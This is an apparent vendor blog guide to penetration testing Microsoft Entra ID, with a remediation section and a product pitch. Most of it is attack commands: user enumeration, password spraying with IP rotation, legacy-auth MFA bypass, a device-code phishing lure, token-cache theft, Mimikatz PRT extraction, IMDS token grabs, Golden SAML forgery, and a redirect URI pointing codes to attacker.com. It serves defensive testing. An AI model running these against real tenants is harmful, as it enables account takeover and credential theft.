Azure Active Directory (Entra ID) Penetration Testing: Attacks, Tools, and Enumeration
Azure Active Directory — rebranded by Microsoft as Entra ID in 2023 — is the identity backbone for more than 600 million organizations. Every Microsoft 365 tenant, every Azure subscription, every Intune-enrolled device authenticates through it. That makes it the highest-value single target in modern enterprise pentesting: compromise a privileged identity in Entra ID and you often have the keys to every SaaS application, every cloud resource, and the on-premises environment too.
This guide covers the full Entra ID attack surface from an offensive perspective — tenant reconnaissance, credential attacks, token abuse, Conditional Access bypass, PRT exploitation, and privilege escalation paths — with real tooling and command-line examples throughout. The on-premises Active Directory attack playbook (Kerberoasting, DCSync, etc.) is covered in our Active Directory Penetration Testing guide. This guide focuses specifically on the cloud identity layer.
Why Entra ID Is a High-Value Target
On-premises Active Directory was designed for a perimeter-based world. Authentication happened on the corporate network, Domain Controllers were reachable only from inside the firewall, and the attack surface was bounded by physical infrastructure. Entra ID inverts this entirely: authentication endpoints are globally reachable, token issuance happens over HTTPS from any network, and the "domain controller" equivalent is a Microsoft-managed service you cannot touch.
The shift to cloud identity has introduced several structural attack surfaces that simply didn't exist on-prem:
- Legacy authentication protocols — IMAP, SMTP, POP3, and ActiveSync clients authenticate directly against Entra ID without triggering Conditional Access or MFA challenges, giving attackers a path that bypasses modern controls entirely.
- OAuth 2.0 token ecosystem — Entra ID issues long-lived refresh tokens (default: 90 days, configurable to never-expire) that can be stolen and replayed from any location without re-authentication.
- Hybrid identity complexity — Most enterprises run Azure AD Connect (now Entra Connect) to synchronize on-prem AD with Entra ID. This sync relationship creates bidirectional attack paths: compromise on-prem, escalate to cloud; compromise cloud, push password hashes or configuration changes to on-prem.
- App registration sprawl — Thousands of service principals and app registrations accumulate over time, many with excessive API permissions, forgotten client secrets, and no monitoring.
- Federated trust relationships — ADFS or third-party IdP federation creates Golden SAML attack surface where a single key compromise allows unlimited token forgery.
Tenant Enumeration and Reconnaissance
Before attacking credentials, map the tenant's configuration. Microsoft exposes a significant amount of information about any tenant without authentication.
OpenID Configuration and Tenant Discovery
The OpenID Connect discovery endpoint reveals the tenant ID and authorization endpoints for any domain:
# Discover tenant ID and endpoints for any domain
curl -s "https://login.microsoftonline.com/targetdomain.com/.well-known/openid-configuration" | python3 -m json.tool
# The tenant ID appears in the issuer field:
# "issuer": "https://login.microsoftonline.com/{tenant-id}/v2.0"
# Also works with the v1 endpoint
curl -s "https://login.microsoftonline.com/targetdomain.com/v2.0/.well-known/openid-configuration"
The GetTenantLoginEndpoints endpoint reveals whether a domain uses managed (password hash sync / pass-through auth) or federated (ADFS/third-party IdP) authentication:
# Check authentication type — federated vs managed
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=anyuser@targetdomain.com&xml=1"
# NameSpaceType: Federated = ADFS or third-party IdP
# NameSpaceType: Managed = password hash sync or pass-through auth
# Federated tenants expose AuthURL pointing to the ADFS instance
AADInternals for Tenant Recon
AADInternals (by Dr Nestori Syynimaa) is the most comprehensive Entra ID offensive toolkit available. Start reconnaissance with its discovery functions:
# Install AADInternals
Install-Module AADInternals -Scope CurrentUser
# Enumerate tenant information for a domain
Import-Module AADInternals
Get-AADIntLoginInformation -UserName "anyuser@targetdomain.com"
# Discover all domains registered to the tenant
Invoke-AADIntReconAsOutsider -DomainName "targetdomain.com" | Format-Table
# This reveals:
# - Tenant ID
# - All domain aliases (including onmicrosoft.com subdomain)
# - Federation type per domain
# - Whether desktop SSO (seamless SSO) is enabled
# - MX and SPF records for each domain
Enumerating Valid User Accounts (Unauthenticated)
Azure AD leaks whether a username is valid through response timing and error codes on the authentication endpoint. This is not a brute-force — it's a single unauthenticated request per username that returns a definitive valid/invalid signal:
# AADInternals user enumeration (no credentials required)
# Uses the CredentialType endpoint which differentiates valid vs invalid users
Invoke-AADIntUserEnumerationAsOutsider -UserNames @(
"admin@targetdomain.com",
"john.doe@targetdomain.com",
"jdoe@targetdomain.com",
"helpdesk@targetdomain.com"
)
# Bulk enumeration from a list
Get-Content userlist.txt | Invoke-AADIntUserEnumerationAsOutsider
The endpoint used is https://login.microsoftonline.com/common/GetCredentialType. Response field IfExistsResult: 0 means valid user, IfExistsResult: 1 means invalid. This enumeration does not trigger Smart Lockout or sign-in logs for non-existent accounts — only valid accounts appear in the Entra ID sign-in logs when credentials are subsequently tested.
MicroBurst and ROADtools
MicroBurst covers Azure service enumeration (storage accounts, function apps, virtual machines) and complements identity-focused tools:
# MicroBurst storage account and service discovery
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcompany" -Verbose
# ROADtools for authenticated post-compromise enumeration
pip install roadtools roadrecon
roadrecon auth -u user@targetdomain.com -p Password123
roadrecon gather
roadrecon gui # Launches web UI at http://localhost:5000
ROADtools is particularly valuable post-compromise: once you have a valid access token, it dumps the entire Entra ID directory — users, groups, applications, service principals, conditional access policies, and devices — into a local SQLite database for offline analysis.
Password Spraying Against Azure AD
Azure AD implements Smart Lockout rather than traditional account lockout. Smart Lockout tracks familiar vs unfamiliar locations and applies lockout thresholds independently per-location. The default threshold is 10 failed attempts before lockout, with 60-second lockout duration doubling on each subsequent lockout. Critically, Smart Lockout is per-user-per-location, not per-user globally — a smart sprayer rotates IPs or uses distributed infrastructure to stay under the threshold at each location.
MSOLSpray
# MSOLSpray — classic Azure AD password sprayer
git clone https://github.com/dafthack/MSOLSpray
Import-Module MSOLSpray.ps1
# Basic spray — 1 password against many usernames
Invoke-MSOLSpray -UserList userlist.txt -Password "Winter2026!" -Verbose
# With output file
Invoke-MSOLSpray -UserList userlist.txt -Password "Spring2026!" -OutFile valid-creds.txt
# FireProx integration for rotating source IPs via AWS API Gateway
# (prevents IP-based throttling)
Invoke-MSOLSpray -UserList userlist.txt -Password "Company2026" -URL https://randomid.execute-api.us-east-1.amazonaws.com/fireprox
Spray365
Spray365 builds on MSOLSpray with a smarter execution model — it generates an execution plan file first, then executes it, allowing pause/resume and deliberate jitter between attempts:
# Generate execution plan (doesn't spray yet)
python3 spray365.py generate \
--output spray_plan.json \
--user-file users.txt \
--password-file passwords.txt \
--delay 30 \
--jitter 15
# Review the plan
python3 spray365.py view --spray-file spray_plan.json
# Execute (can be stopped and resumed)
python3 spray365.py spray --spray-file spray_plan.json
Legacy Authentication Endpoints — The MFA Bypass
This is the most significant structural weakness in many Entra ID deployments. Legacy authentication protocols — Basic Auth over IMAP, SMTP, POP3, Exchange ActiveSync, and the legacy ROPC (Resource Owner Password Credentials) flow — authenticate directly against Entra ID without evaluating Conditional Access policies. If MFA is enforced via Conditional Access rather than per-user MFA settings, legacy auth bypasses it entirely.
# Test IMAP legacy auth — bypasses MFA and Conditional Access
curl -v --ssl-reqd \
--url "imaps://outlook.office365.com:993" \
--user "user@targetdomain.com:Password123"
# SMTP legacy auth
curl -v --ssl-reqd \
--url "smtps://smtp.office365.com:587" \
--user "user@targetdomain.com:Password123" \
--mail-from "user@targetdomain.com" \
--mail-rcpt "test@targetdomain.com"
# ROPC grant — returns full OAuth tokens, no MFA required if Conditional Access not blocking it
curl -X POST "https://login.microsoftonline.com/targetdomain.com/oauth2/v2.0/token" \
-d "grant_type=password" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "username=user@targetdomain.com" \
-d "password=Password123" \
-d "scope=https://graph.microsoft.com/.default"
The client ID used above (1b730954-1685-4b74-9bfd-dac224a7b894) is the well-known Azure PowerShell application ID, which has broad Graph API permissions and is pre-consented in most tenants. Attackers routinely use this or other first-party Microsoft app IDs that don't require admin consent.
To check whether a tenant has legacy auth enabled, look for BasicAuthentication in the sign-in logs or use AADInternals:
# Check tenant authentication methods policy
Get-AADIntTenantAuthPolicy
OAuth 2.0 and Token Theft
Device Code Phishing
The Device Code Flow (RFC 8628) was designed for input-constrained devices like smart TVs. An attacker initiates the flow, receives a user code and verification URL, then socially engineers the target into visiting the URL and entering the code. The attacker's polling loop receives fully authenticated tokens — including refresh tokens with the user's full session — without ever knowing the user's password.
# Step 1: Initiate device code flow and get the user code
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "scope=https://graph.microsoft.com/.default offline_access"
# Response includes:
# "user_code": "ABCDEFGHI"
# "verification_uri": "https://microsoft.com/devicelogin"
# "device_code": ""
# Step 2: Social engineer the user — send them the URL and user code
# "Please visit https://microsoft.com/devicelogin and enter code ABCDEFGHI
# to authenticate your device for the security audit."
# Step 3: Poll for token (repeat every 5 seconds until user authenticates)
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "device_code="
TokenTactics and AADInternals both automate device code phishing:
# TokenTactics device code phishing
Import-Module TokenTactics.ps1
Get-AzureToken -Client MSTeams # Initiates flow, user code auto-displayed
# Once victim authenticates, tokens are automatically captured
# Use the refresh token to get tokens for other resources
RefreshTo-MSGraphToken -domain targetdomain.com -refreshToken $refreshToken
Token Theft from Browser Storage and Azure Cloud Shell
If you have code execution on a workstation or server, access tokens are available from multiple locations:
# Steal tokens from Azure CLI token cache (Linux/macOS)
cat ~/.azure/msal_token_cache.json
# Azure CLI on Windows
type %USERPROFILE%\.azure\msal_token_cache.json
# Azure PowerShell token cache
# Tokens stored in encrypted DPAPI blob — use SharpDPAPI to decrypt
.\SharpDPAPI.exe triage
# Azure Cloud Shell — tokens stored in session storage
# If you have XSS or JavaScript execution in the Azure Portal:
# Object.entries(sessionStorage).filter(([k]) => k.includes('token'))
# Microsoft Edge/Chrome — steal cached tokens from browser profile
# Tokens cached by MSAL in localStorage under keys prefixed with:
# "msal.{client-id}.{tenant-id}"
Replaying Stolen Refresh Tokens
Refresh tokens are the crown jewel — they're valid for up to 90 days by default and can be exchanged for access tokens to any resource the user has consented to. A stolen refresh token gives persistent access without needing the user's credentials or MFA:
# Exchange a stolen refresh token for a Graph API access token
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=refresh_token" \
-d "client_id=1b730954-1685-4b74-9bfd-dac224a7b894" \
-d "refresh_token=" \
-d "scope=https://graph.microsoft.com/.default"
# TokenTactics — refresh to different resources
RefreshTo-AzureManagementToken -domain targetdomain.com -refreshToken $rt
RefreshTo-SharePointToken -domain targetdomain.com -refreshToken $rt
RefreshTo-OutlookToken -domain targetdomain.com -refreshToken $rt
Token lifetime can be extended to never-expire through Entra ID token lifetime policies. Many organizations have inherited legacy configurations where refresh tokens genuinely never expire — check this in your assessment:
# Check token lifetime policies (requires authenticated Graph access)
GET https://graph.microsoft.com/v1.0/policies/tokenLifetimePolicies
GET https://graph.microsoft.com/v1.0/policies/tokenIssuancePolicies
Conditional Access Policy Bypass
Conditional Access (CA) is Entra ID's policy enforcement engine — it evaluates signals (user, device, location, application, risk score) and enforces controls (MFA, compliant device, block). Understanding its evaluation logic is essential to finding bypass paths.
Legacy Authentication Protocol Bypass
As noted above, legacy auth protocols don't go through Conditional Access evaluation at all. If the tenant hasn't explicitly blocked legacy authentication via a CA policy or authentication methods policy, spraying via IMAP/SMTP/ROPC is a complete bypass for any MFA or device compliance requirement.
Named Location Bypass
Many organizations configure CA policies to trust traffic from named locations (corporate IP ranges) and skip MFA for those locations. If you identify the corporate IP ranges (via OSINT, BGP lookups, or SPF records), routing traffic through a VPS in those ranges or using a proxy that appears to originate from them can bypass MFA:
# Identify corporate IP ranges via SPF record
dig TXT targetdomain.com | grep "v=spf1"
# ip4: entries often include corporate egress IPs
# BGP lookups for the organization's ASN
# whois -h whois.radb.net -- '-i origin AS12345'
# Once IP ranges are identified, use a VPS in those ranges
# or compromise a system already in those ranges
Compliant Device Claim Bypass
CA policies requiring "compliant device" (Intune compliance) or "Hybrid Azure AD Joined" can be bypassed if you obtain a Primary Refresh Token (PRT) from a compliant device — the PRT carries device claims that satisfy the compliance requirement. See the PRT section below.
CA Policy Evaluation Logic Gaps
A common misconfiguration is creating CA policies that target specific applications while leaving the "All cloud apps" baseline uncovered. Enumerate all CA policies to find gaps:
# Enumerate all Conditional Access policies (requires privileged read access)
GET https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies
# AADInternals — dump CA policies
Get-AADIntConditionalAccessPolicies
# Look for:
# - Policies that exclude break-glass accounts (these are intentional but document them)
# - Policies scoped to specific apps (what apps are NOT covered?)
# - Policies that exclude service accounts or legacy app service principals
# - "Report-only" mode policies (not enforced — often forgotten)
# - Policies excluding specific user groups
Primary Refresh Token (PRT) Attacks
The Primary Refresh Token is the most powerful credential artifact in a hybrid or cloud-joined Windows environment. It's a long-lived token (14 days, auto-renewed) issued by Entra ID to Azure AD Joined or Hybrid Azure AD Joined Windows devices. The PRT is stored in LSASS memory and carries device identity claims — meaning it can satisfy "requires compliant device" or "requires Hybrid Azure AD Joined" Conditional Access policies. Stealing a PRT gives you a credential that bypasses MFA and device compliance checks.
PRT Extraction with Mimikatz and SharpDPAPI
# Extract PRT from LSASS using Mimikatz
# Requires SYSTEM or SeDebugPrivilege
privilege::debug
sekurlsa::cloudap
# This dumps the PRT and associated key material (ProofOfPossesionKey)
# The PRT alone is not enough — you also need the session key to sign nonces
# Alternative: BrowserCore.exe DLL injection
# The PRT is also accessible via the WAM (Web Account Manager) broker
# SharpDPAPI can extract it from the user's DPAPI-protected credential store
.\SharpDPAPI.exe machinetriage
.\SharpDPAPI.exe certificates /machine
Using PRTs with RequestAADRefreshToken
Once you have a PRT and its associated session key, you can use it to obtain OAuth tokens for any resource — including tokens that satisfy Conditional Access policies requiring MFA or compliant device, because the PRT carries those claims:
# ROADtoken — use PRT to get tokens
# Requires the PRT value and the session key (both from Mimikatz sekurlsa::cloudap)
roadtoken -p -k
# The resulting tokens include the device claim, satisfying compliant-device CA policies
# Use these tokens with ROADtools or direct Graph API calls
# AADInternals — simulate PRT-based authentication
$prtKeys = Get-AADIntUserPRTKeys -PRT $prt -SessionKey $sessionKey
Get-AADIntAccessTokenUsingPRT -PRTKeys $prtKeys
Cloud Kerberos Trust
The Cloud Kerberos Trust model (introduced as an alternative to Certificate Trust for Windows Hello for Business) stores a Kerberos TGT inside the PRT. Compromise of the PRT in this model also gives you a Kerberos TGT usable against on-premises resources — a direct cloud-to-on-prem lateral movement path without needing to touch AD Connect or the on-prem domain controllers directly.
Privilege Escalation in Azure AD
Abusing Privileged Identity Management (PIM)
Privileged Identity Management grants time-bound, just-in-time access to privileged roles. From an attacker's perspective, PIM is both a target and a detection mechanism. Enumerate eligible role assignments — accounts that can activate privileged roles — as these are high-value targets:
# Enumerate PIM-eligible role assignments via Graph API
GET https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilitySchedules
# List all active role assignments
GET https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleInstances
# If you compromise an account eligible for Global Administrator via PIM,
# activate the role (this will be logged, but the window opens immediately)
POST https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests
{
"action": "selfActivate",
"principalId": "",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10", // Global Administrator
"directoryScopeId": "/",
"justification": "Security assessment",
"scheduleInfo": { "startDateTime": "2026-06-28T00:00:00Z", "expiration": { "type": "AfterDuration", "duration": "PT1H" } }
}
App Registration Attack Surface
App registrations (service principals) are a frequently overlooked escalation path. A single app with excessive API permissions and a stolen client secret gives you persistent access independent of any user account:
# Enumerate all app registrations and their API permissions
GET https://graph.microsoft.com/v1.0/applications?$select=displayName,appId,requiredResourceAccess
# Find apps with high-value permissions (Mail.ReadWrite, Directory.ReadWrite.All, etc.)
GET https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appRoleAssignmentRequired eq false
# List all client secrets (can't read values, but can see expiry — look for never-expiring secrets)
GET https://graph.microsoft.com/v1.0/applications/{id}/passwordCredentials
# If you can add a new client secret to an existing app with high permissions:
POST https://graph.microsoft.com/v1.0/applications/{id}/addPassword
{
"passwordCredential": {
"displayName": "Backup key",
"endDateTime": "2030-01-01T00:00:00Z"
}
}
Redirect URI Manipulation and Illicit Consent Grants
If an app registration has a misconfigured or wildcard redirect URI, an attacker can craft an authorization request that redirects the OAuth callback (with the authorization code or token) to an attacker-controlled URL:
# Craft a malicious authorization URL targeting a misconfigured app
# Find apps with loose redirect URIs first
GET https://graph.microsoft.com/v1.0/applications?$select=displayName,web
# Target URL structure for code theft via open redirect in redirect_uri
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=&
response_type=code&
redirect_uri=https://attacker.com/callback&
scope=https://graph.microsoft.com/.default&
state=csrf_token
Managed Identity Abuse
Managed Identities are automatically provisioned identities for Azure resources (VMs, Function Apps, Container Instances, etc.). If you compromise an Azure resource — through RCE, SSRF, or stolen credentials — you can access the Instance Metadata Service (IMDS) to retrieve an access token for the managed identity without any credentials:
# From code executing inside an Azure resource (VM, Function App, etc.)
# Get a token for the managed identity — no credentials required
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Parse the access token
TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | \
python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Use the token against Graph API or Azure Management API
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/me"
# Check what Azure RBAC roles the managed identity has
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/{sub-id}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId eq '{managed-identity-object-id}'"
Managed identities with Contributor or Owner roles on subscriptions or resource groups are a direct path to full Azure resource control. Managed identities with Directory roles (Global Reader, User Administrator) are a path to Entra ID enumeration and privilege escalation.
Microsoft Graph API Abuse
The Microsoft Graph API is the unified interface for all Microsoft 365 and Azure AD data. With a valid access token — however obtained — it becomes a powerful enumeration engine. Understanding the permission scopes determines what you can read or write:
| Permission | Type | Access Level |
|---|---|---|
User.Read |
Delegated | Read own profile only |
User.ReadBasic.All |
Delegated | Read basic profile of all users |
User.Read.All |
Application | Read full profiles of all users |
Directory.Read.All |
Application | Read all directory objects (users, groups, apps, roles) |
Directory.ReadWrite.All |
Application | Read and write all directory objects — effectively tenant admin |
RoleManagement.ReadWrite.Directory |
Application | Assign any directory role to any principal |
Mail.ReadWrite |
Application | Read and write all users' mail |
# With a valid token, enumerate all users
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName,jobTitle,officeLocation,mobilePhone"
# Enumerate all groups and members
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/groups?$select=displayName,description,groupTypes,membershipRule"
# Find all Global Administrators
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/directoryRoles?$filter=displayName eq 'Global Administrator'"
# Then get members:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/directoryRoles/{role-id}/members"
# Enumerate all app registrations and their permissions
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications?$select=displayName,appId,requiredResourceAccess,passwordCredentials"
# Find service principals with application-level permissions (dangerous)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals?$select=displayName,appRoleAssignments"
# List all Conditional Access policies
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies"
# Enumerate Entra ID registered and joined devices
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/devices?$select=displayName,operatingSystem,isCompliant,registrationDateTime"
ROADtools automates all of this enumeration and builds a relational database for graph analysis:
# Authenticated enumeration with ROADtools
roadrecon auth --access-token $TOKEN
roadrecon gather --mfa
roadrecon gui
# Or gather with refresh token
roadrecon auth -r $REFRESH_TOKEN
roadrecon gather
Pass-the-PRT and Golden SAML
Pass-the-PRT
Pass-the-PRT is the cloud equivalent of Pass-the-Hash. You extract a PRT from one device and replay it from another system to authenticate as that user — inheriting all device claims including MFA satisfaction and device compliance. The attack requires the PRT value plus the session key (stored encrypted in LSASS via the CloudAP provider):
# Extract PRT and session key with Mimikatz
# Run as SYSTEM
privilege::debug
sekurlsa::cloudap
# Output includes:
# * CloudAP *
# PRT:
# Session Key:
# Import PRT into a Chrome browser session using BrowserCore.exe or
# the Chrome extension approach (RequestAADRefreshToken):
# Step 1: Get a nonce from Entra ID
curl -s "https://login.microsoftonline.com/common/oauth2/token" \
-d "grant_type=srv_challenge"
# Returns: {"Nonce": ""}
# Step 2: Sign the nonce with the PRT session key and POST to the PRT endpoint
# This is automated by tools like ROADtoken or the Mimikatz kerberos::ptt equivalent
# roadtoken (Go implementation)
./roadtoken -prt -prtSessionKey
Golden SAML
Golden SAML applies to tenants federated with ADFS (or a third-party SAML IdP). ADFS signs SAML assertions using a private key stored on the ADFS server. An attacker who compromises the ADFS server and extracts the token signing certificate can forge SAML assertions for any user in the tenant — including Global Administrators — without needing their credentials or interacting with Entra ID at all.
# Extract ADFS token signing certificate from the ADFS server
# Requires admin/SYSTEM access on the ADFS server
# ADFSDump — dedicated tool for ADFS credential extraction
git clone https://github.com/mandiant/ADFSDump
.\ADFSDump.exe
# This extracts:
# - Token signing certificate (private key)
# - DKM (Distributed Key Management) keys stored in AD
# - Encrypted token signing certificate from ADFS configuration database
# Alternatively, via the ADFS configuration database directly
# (usually WID at \\.\pipe\MICROSOFT##WID\tsql\query)
# Once you have the private key, use ADFSpoof to forge assertions
git clone https://github.com/mandiant/ADFSpoof
pip install -r requirements.txt
python3 ADFSpoof.py \
-b ADFSdump_EncryptedPfx.bin \
-s ADFSdump_DKMkey.bin \
--server sts.targetdomain.com \
microsoft365 \
--upn admin@targetdomain.com \
--objectguid
Silver SAML
Silver SAML (2024) is a variant that doesn't require ADFS at all. It targets Entra ID's enterprise application SAML integrations where the organization has uploaded a custom signing certificate to a SAML-based SSO application. If an attacker can extract that private key — from a misconfigured secrets manager, compromised certificate store, or overprivileged service account — they can forge SAML assertions for that specific application without touching ADFS or Entra ID itself. The forged assertion passes Entra ID's verification because the organization explicitly configured that certificate as trusted.
Testing Methodology: Ordered Checklist
- Resolve tenant ID via
/.well-known/openid-configuration - Enumerate all domains and aliases via AADInternals
Invoke-AADIntReconAsOutsider - Identify authentication type (managed vs federated) per domain
- Check for seamless SSO enablement (kerberos realm exposure)
- Enumerate valid usernames via
GetCredentialTypeendpoint - Identify ADFS infrastructure if federated (URL, version, endpoints)
- Check for legacy authentication endpoint availability (IMAP, SMTP, EWS)
- Password spray via MSOLSpray or Spray365 (1 password per day, monitor for lockout)
- Test legacy auth endpoints (IMAP/SMTP/ROPC) independently — these bypass MFA
- Device code phishing if social engineering is in scope
- Check for publicly exposed credentials (GitHub, Pastebin, exposed env files)
- Dump full directory with ROADtools (users, groups, apps, service principals, CA policies)
- Enumerate CA policies — find gaps (excluded users, specific apps, report-only policies)
- Enumerate PIM-eligible role assignments — who can activate what?
- Find overprivileged app registrations (Directory.ReadWrite.All, Mail.ReadWrite, etc.)
- Check client secret expiry dates — look for never-expiring secrets
- Enumerate managed identities and their Azure RBAC + directory role assignments
- Check token lifetime policies — are refresh tokens set to never expire?
- Look for consent grants — users who have granted third-party apps excessive permissions
- Attempt PIM role activation if eligible role found
- Try to add client secrets to high-permission app registrations
- Exploit IMDS from any accessible Azure compute resources
- Test redirect URI manipulation on misconfigured app registrations
- Extract PRTs from hybrid-joined devices if on-prem access available
- Target ADFS token signing certificate if federated
Remediation Guidance
Block Legacy Authentication
This is the single highest-impact control for most organizations. Create a Conditional Access policy that blocks all legacy authentication protocols:
# CA policy targeting legacy auth clients
# Conditions > Client apps: Exchange ActiveSync clients + Other clients
# Grant: Block access
# Apply to: All users (with break-glass account exclusion)
# Also enforce via authentication methods policy:
# Entra Admin Center > Security > Authentication methods > Authentication strengths
Conditional Access Baselines
- Require MFA for all users on all cloud apps — no exceptions except break-glass accounts
- Require MFA for all administrator roles (Global Admin, Privileged Role Admin, etc.)
- Block sign-ins from high-risk users (requires Entra ID P2 / Identity Protection)
- Block sign-ins from risky sign-in locations (Tor exit nodes, anonymous proxies)
- Require compliant or Hybrid Azure AD Joined device for privileged access
- Review all CA policies in "Report-only" mode — these are not enforced
Restrict Application Consent
# Disable user consent for third-party applications entirely
# Or restrict to verified publishers with low-risk permissions only
# Entra Admin Center > Enterprise Applications > Consent and permissions
# Enable admin consent workflow so users can request consent
# rather than granting it themselves
# Audit existing consent grants
GET https://graph.microsoft.com/v1.0/oauth2PermissionGrants?$filter=consentType eq 'AllPrincipals'
Privileged Identity Management
- No standing Global Administrator assignments — all privileged access via PIM with approval workflow
- Set maximum PIM activation duration to 1-4 hours, require justification and MFA
- Enable PIM alerts: "Roles don't require MFA for activation", "Global administrators", "Roles being activated too frequently"
- Regularly review PIM eligible assignments — remove stale eligibilities
App Registration Hygiene
- Audit all app registrations with
Directory.ReadWrite.All,RoleManagement.ReadWrite.Directory, orMail.ReadWriteapplication permissions - Rotate all client secrets older than 12 months — implement secret rotation automation
- Remove client secrets from apps that don't need them (prefer managed identity or certificate auth)
- Restrict who can register new applications (disable user app registration, require admin approval)
- Enable app governance to monitor consent and access patterns
Token Lifetime and Refresh Token Policies
- Set refresh token maximum lifetime to 24 hours for privileged roles
- Enable Continuous Access Evaluation (CAE) to revoke tokens within minutes when risk is detected
- Enable Identity Protection to automatically revoke sessions for high-risk sign-ins
- Configure sign-in frequency in CA to force re-authentication for sensitive applications
PRT and Hybrid Identity Protection
- Protect ADFS token signing certificates with HSM where possible — rotate annually
- Monitor ADFS for unusual assertion issuances (Silver SAML / Golden SAML detection)
- Enable Windows Defender Credential Guard on all hybrid-joined Windows devices to protect LSASS from PRT extraction
- Audit Azure AD Connect configuration — restrict which accounts have Sync permissions to on-prem AD
- Consider migrating from ADFS federation to Entra ID native authentication (password hash sync + seamless SSO) to eliminate ADFS attack surface entirely
Azure AD and Entra ID misconfigurations are widespread in production — from legacy auth endpoints left open "temporarily" years ago, to overprivileged service principals with never-expiring secrets, to Conditional Access gaps that leave entire user populations exposed.
Ironimo scans for cloud identity misconfigurations, legacy authentication exposure, OAuth consent grant anomalies, and web application vulnerabilities using the same tools professional pentesters use — automatically, on your schedule. No manual setup required.
Start free scan